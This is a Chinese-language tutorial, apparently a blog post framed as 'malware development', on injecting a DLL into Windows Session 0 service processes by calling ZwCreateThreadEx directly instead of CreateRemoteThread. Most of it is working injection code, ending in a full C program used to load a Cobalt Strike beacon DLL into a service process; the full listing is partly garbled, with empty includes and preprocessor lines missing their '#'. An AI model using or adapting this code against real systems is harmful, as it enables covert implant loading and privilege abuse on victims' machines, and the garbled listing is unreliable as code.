恶意软件开发——突破SESSION 0 隔离的远线程注入

一、前言

在早期的windows系统如windows xp和windows server 2003中,第一个登录的用户及其所有服务都在session 0上运行。这种做法可能导致应用程序利用windows服务提升权限。为此,较新的windows版本引入了一种隔离机制,普通应用程序不再在session 0中运行。

二、突破SESSION 0 思路

由于SESSION 0隔离机制的存在,传统的远程线程注入系统服务进程方法失败。与传统的CreateRemoteThread函数实现的DLL远线程注入不同,我们直接调用了更底层的ZwCreateThreadEx来创建线程。

虽然CreateRemoteThread函数在底层也是调用ZwCreateThreadEx,但ZwCreateThreadEx的第7个参数CreateSuspended(CreateThreadFlags)始终为1,这会导致线程创建后一直挂起无法恢复运行。因此,我们选择直接调用ZwCreateThreadEx,并将第7个参数置为0,以达到注入目的。

三、代码实现

ZwCreateThreadEx在ntdll.dll中未声明,因此我们需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。需要注意的是,64位和32位系统中,函数定义有所不同。64位下的ZwCreateThreadEx函数声明如下:

DWORD WINAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);

而32位下的ZwCreateThreadEx函数声明如下:

DWORD WINAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);

我们同样使用GetProcAddress从Kernel32.dll中获取LoadLibraryA函数的导出地址:

typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");

随后,我们获取进程句柄,在目标进程空间中申请内存空间,然后将我们的DLL写入到内存空间中,最后创建线程等待执行。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);
return 0;

效果如下图所示:

此处使用的DLL为Cobalt Strike生成的64位DLL。完整代码如下:

#include 
#include 

ifdef _WIN64

typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);

else

typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);

endif

int main(int argc, char* argv[]) { char DllPath[] = "C:\Users\RTO\Desktop\Injection2\a.dll"; //DLL路径 HANDLE hRemoteThread; HMODULE hNtModule = GetModuleHandleA("ntdll.dll"); HMODULE hKeModule = GetModuleHandleA("Kernel32.dll"); typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx"); typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA"); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); //此处为SESSION 0的进程PID LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0); ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL); return 0; }

四、小结

需要管理员权限才能执行上述操作。